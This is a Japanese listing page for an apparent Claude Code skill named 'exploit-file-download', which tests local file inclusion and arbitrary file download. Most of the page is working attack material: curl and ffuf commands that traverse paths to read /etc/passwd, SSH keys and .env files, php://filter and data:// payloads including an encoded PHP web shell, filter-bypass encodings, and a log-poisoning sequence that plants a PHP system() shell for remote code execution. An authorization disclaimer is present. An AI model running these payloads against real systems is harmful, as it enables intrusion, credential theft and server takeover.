exploit-file-download について
exploit-file-downloadは、任意ファイルダウンロードとローカルファイルインクルージョン(LFI)脆弱性を許可のもとでテストするスキルです。パストラバーサル、PHPラッパー、ペイロードの変種、応答分析、データベースへの所見保存を扱います。
主な機能
- 01LFIパターンの検出
- 02トラバーサルとラッパーのペイロード
- 03エンコードによる回避テスト
- 04ffufによるペイロード一括テスト
- 05所見のデータベース保存
活用シーン
- 01ファイル指定パラメーターのテスト
- 02ソースや設定ファイルの読み取り確認
- 03ペイロード別の応答比較
- 04確認済みLFI所見の保存
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ crazymarky/ pentest-skills --skill exploit-file-downloadインストール後、Claude Code で/exploit-file-downloadを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
assets/linux_sensitive_files.txttraversal_payloads.txtwindows_sensitive_files.txtreferences/bypass_techniques.mdsensitive_files.mdscripts/file_download_storage.pyfile_download_tester.py詳細
任意ファイルダウンロードと LFI の検出・悪用
認可に関する声明
本 Skill は、認可されたセキュリティテストにのみ使用してください。使用する前に、以下を確認してください。
- 対象システムの所有者から、明確な書面による認可を得ていること
- テスト範囲と認可内容が明確に定義されていること
- 現地の法律や規制を遵守すること
認可されていない侵入テストは違法行為です。
概要
本 Skill は、任意ファイルダウンロードおよび**ローカルファイルインクルージョン(LFI)**の脆弱性の検出と悪用に特化しています。
注意:多くのエンドポイントは、実際には真のファイルダウンロードではなく、LFI のパターン(パラメーター値がファイル名として扱われ、インクルードされて実行されるもの)です。そのため、本 Skill の中核はLFI/ファイル読み取り機能です。
主な機能
1. LFI 脆弱性の検出
以下の LFI の特徴を自動的に識別します。
- ファイルインクルードのパターン:パラメーター値が
include()またはrequire()のファイルパスとして直接使用される - ディレクトリトラバーサルのパターン:
../のシーケンスを使用してディレクトリを移動する - 疑似プロトコルの悪用:
php://filter、php://inputなど - パスの長さ制限:長すぎるパスは切り詰められる可能性がある
- 特殊文字:
%00のヌルバイトによって拡張子チェックを回避できる可能性がある
2. よく使われる LFI Payload
| 種類 | Payload | 適用場面 |
|---|---|---|
| ファイルインクルード | ?title=index.php | 単純なファイルインクルードのテスト |
| パストラバーサル | ?title=../../../../etc/passwd | Linux のディレクトリトラバーサル |
| 疑似プロトコル | ?title=php://filter/convert.base64-encode/resource=/etc/passwd | 機密ファイルのソースを読み取る |
| Windows パス | ?title=C:\\Windows\\win.ini | Windows ファイルの読み取り |
| URL エンコード | ?title=%2e%2e%2f%2e%2e%2fetc/passwd | 単純なフィルタリングの回避 |
3. LFI の悪用シナリオ
- ソースコードの読み取り:PHP ソースコードを読み取って分析する
- 設定情報の取得:データベース設定ファイルを読み取る
- ログポイズニング:LFI を通じてログに書き込み、RCE を取得する
- 画像 Web シェル:ファイルアップロードと組み合わせてシェルを取得する
ツールのインストール
必須ツール
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
# wget - 文件下载工具(通常已预装)
# macOS
brew install wget
# Ubuntu/Debian
apt-get install wget
オプションのツール
# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt
# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash
使用方法
クイックスタート
# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"
# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
シナリオ 1: 基本的なパストラバーサルテスト
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
シナリオ 2: 疑似プロトコルの悪用
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d
# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
シナリオ 3: ログポイズニングによる RCE
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"
# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"
# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"
シナリオ 4: ファイルの一括ダウンロードテスト
# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-t 50 \
-o lfi_results.txt
# 使用 wget 批量下载
while read path; do
wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt
シナリオ 5: 回避手法のテスト
# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"
# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"
# 空字节截断(PHP<5.3.4)
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"
# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"
ツール選択ガイド
| シナリオ | 推奨ツール | コマンド例 |
|---|---|---|
| 単一箇所の迅速なテスト | curl | curl "URL?file=../etc/passwd" |
| Payload の一括テスト | ffuf | ffuf -u URL -w payloads.txt |
| ファイルをダウンロードして保存 | wget | wget -O output.txt "URL" |
| ディレクトリの深さの列挙 | カスタムスクリプト | 下記の深度テストスクリプトを参照 |
| レスポンス内容の分析 | grep/diff | grep -i "root:x:0" response.txt |
深度テストスクリプト
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度
URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}
for i in $(seq 1 $MAX_DEPTH); do
payload=$(printf '../%.0s' $(seq 1 $i))
response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")
if echo "$response" | grep -q "root:x:0:0"; then
echo "[+] 成功!深度:$i"
echo "$response"
break
fi
echo "[-] 深度 $i: 未匹配"
done
機密ファイルパスの一覧
Linux システム
# 系统用户信息
/etc/passwd
/etc/shadow # 需要 root 权限
/etc/group
/etc/sudoers
# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ
# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog
Windows システム
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts
# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php
# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log
LFI Payload の一覧
基本 Payload
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/
エンコードされた Payload
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c
PHP 疑似プロトコル
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php
テストチェックリスト
偵察段階
- LFI の可能性があるすべてのパラメーター(file、page、title、include、path、document)を特定する
- 基本的なパストラバーサル(../)をテストする
- 対象のオペレーティングシステム(Linux/Windows)を確認する
- 疑似プロトコル(php://filter)が使用可能かテストする
悪用段階
- システムの機密ファイル(/etc/passwd、/etc/shadow)を読み取る
- Web アプリケーションの設定ファイル(.env、config.php)を読み取る
- PHP ソースコードを読み取り、アプリケーションのロジックを分析する
- ログポイズニングを試みて RCE を取得する
- /proc/self/environ の悪用を試みる
回避テスト
- URL エンコードによる回避(%2e%2e%2f)
- 二重 URL エンコード(%252e%252e%252f)
- Unicode による難読化(%c0%ae%c0%ae%c0%af)
- パスのバリエーション(.., ..//, ..././)
- ヌルバイトによる切り詰め(%00)
- 拡張子の回避(file.php.jpg、file.php.)
代替手段
主要なツールが利用できない場合は、以下の代替手段を使用できます。
| 主要ツール | 代替手段 | 説明 |
|---|---|---|
| curl | wget | wget -qO- "URL" は curl -s "URL" と同等です |
| ffuf | gobuster | gobuster dir -u URL -w payloads.txt |
| ffuf | dirsearch | dirsearch -u URL -e php |
| curl + grep | httpx + nuclei | nuclei の LFI テンプレートを使用します |
関連リソース
- 技術ドキュメント:
references/lfi_techniques.md- LFI の技術的な詳細 - PHP 疑似プロトコル:
references/php_wrappers.md- PHP wrapper のリファレンス - 回避手法:
references/bypass_techniques.md- エンコードとフィルタリングの回避 - RCE の手法:
references/rce_methods.md- リモートコード実行の手法一覧
results-storage との連携
LFI 脆弱性を発見した後、データベースに保存できます。
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/download?file=../../etc/passwd" \
--payload "../../etc/passwd" \
--file-read "root:x:0:0:root:/root:/bin/bash" \
--severity Critical \
--subsystem "Web Application"
データベースの場所: ./data/results.db
関連スキル: results-storage - データの照会、レポートの生成
ベストプラクティス
- 必ず Payload をエンコードする - WAF によるブロックを避けるため、URL エンコードを使用します
- 浅い階層から深い階層へテストする - まず 1~2 階層のトラバーサルをテストし、その後段階的に深くします
- レスポンスの長さを記録する - 成功したレスポンスは通常、異常な長さになります
- base64 を使用する - ソースコードを読み取る際は、コードの実行を避けるために base64 を使用します
- 403/404 を無視しない - 一部の WAF は偽のエラーコードを返します
最終更新日: 2026-03-05 バージョン: 2.0
コメント
Markdown 対応